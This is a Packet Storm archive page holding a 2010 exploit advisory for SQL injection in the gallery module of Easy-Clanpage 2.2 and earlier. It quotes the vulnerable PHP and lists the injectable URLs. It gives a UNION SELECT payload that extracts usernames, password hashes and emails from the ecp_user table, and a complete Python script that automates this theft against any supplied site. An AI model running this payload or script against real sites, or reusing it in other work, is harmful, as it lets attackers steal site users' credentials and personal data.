exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Easy-Clanpage 2.2 SQL Injection

Easy-Clanpage 2.2 SQL Injection
Posted Apr 1, 2010
Authored by Easy Laster

Easy-Clanpage versions 2.2 and below Gallery SQL injection exploit.

tags | exploit, sql injection
SHA-256 | 5810ec00df041e1f5ea588586321b4a8e6124ff9c101cab4f0ad9b7f73ddb5c5

Easy-Clanpage 2.2 SQL Injection

Change Mirror Download
----------------------------Information------------------------------------------------
+Name : Easy-Clanpage <= v2.2 multiple SQL Injection + Exploit
+Autor : Easy Laster
+Date : 31.03.2010
+Script : Easy-Clanpage <= v2.2
+Download : Update Version 2.1->2.2 http://www.easy-clanpage.de
/?section=downloads&action=viewdl&id=18
+Demo : http://studio.siouxsie-fashion.at
+Price : for free
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101..

---------------------------------------------------------------------------------------

___ ___ ___ ___ _ _ _____ _ _
| | | | | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___| _ |___ ___ |_|___ ___| |_
|_ | | | | |_ |___|_ -| -_| _| | | _| | _| | |___| __| _| . | | | -_| _| _|
|_|___|___| |_| |___|___|___|___|_| |_|_| |_ | |__| |_| |___|_| |___|___|_|
|___| |___|


----------------------------------------------------------------------------------------
+Vulnerability PHP Code

-#######################################################################################-
IF(isset($_GET['action'])) {
switch($_GET['action']) {
case "viewpic":
gallery_show_pic($_GET['id']);
break;
case "gallery":
gallery_show_gallery($_GET['id']);
break;
case "kate":
gallery_show_kate($_GET['id']);
break;
case "comments":
gallery_show_pic((int)$_GET['id']);
break;
case "commentsadd":
write_comment('gallery', (int)$_GET['id'], ALLOW_ANONYM, SPAM_NEWS_COMMENT , LIMIT_COMMENTS);
break;
case "commentsquote":
write_comment_qoute('gallery', (int)$_GET['id'],(int)$_GET['quote']);
break;
case "commentsedit":
comments_edit('gallery', (int)$_GET['subid'], (int)$_GET['id'], LIMIT_COMMENTS);
break;
default:
gallery();
}
-#######################################################################################-

+Vulnerability : http://www.site.com/easyclanpage/?section=gallery&action=viewpic&id=
+Vulnerability : http://www.site.com/easyclanpage/?section=gallery&action=gallery&id=
+Vulnerability : http://www.site.com/easyclanpage/?section=gallery&action=kate&id=
+Vulnerability : http://www.site.com/easyclanpage/?section=gallery&action=comments&id=
+Vulnerability : http://www.site.com/easyclanpage/?section=gallery&action=commentsquote&id=
+Vulnerability : http://www.site.com/easyclanpage/?section=gallery&action=commentsedit&id=

+SQL Injection
+Exploitable : http://www.site.com/easyclanpage/?section=gallery&action=gallery&id=
-1111111111+union+select+1,2,concat(username,0x3a,password,0x3a,email),4+from+ecp_user
+where+userID=1--+

-----------------------------------------------------------------------------------------

#Exploit
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import sys, urllib2, re

if len(sys.argv) < 2:
print "***************************************************************"
print "*************** Easy-Clanpage v2.2 Gallery Hack ***************"
print "***************************************************************"
print "* Discovered and vulnerability by Easy Laster *"
print "* Easy-Clanpage <= v2.2 SQL Injection Exploit *"
print "* coded by Dr.ChAoS *"
print "* *"
print "* Usage: *"
print "* python exploit.py http://site.de/ecp/ <userid, default=1> *"
print "* *"
print "***************************************************************"
exit()

if len(sys.argv) < 3:
id = 1
else:
id = sys.argv[2]

site = sys.argv[1]
if site[-1:] != "/":
site += "/"

url = site + "index.php?section=gallery&action=gallery&id=-1111111111+union+select+1,2,concat(0x23,0x23,0x23,0x23,0x23,username,0x3a,password,0x3a,email,0x23,0x23,0x23,0x23,0x23),4+from+ecp_user+where+userID=" + str(id) + "--"

print "Exploiting..."

html = urllib2.urlopen(url).read()
# I hate regex!
data = re.findall(r"#####(.*)\:([0-9a-fA-F]{32})\:(.*)#####", html)
if len(data) > 0:
print "Success!\n"
print "ID: " + str(id)
print "Username: " + data[0][0]
print "Password: " + data[0][1]
print "E-Mail: " + data[0][2]
print "\nHave a nice day!"
else:
print "Exploit failed..."

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close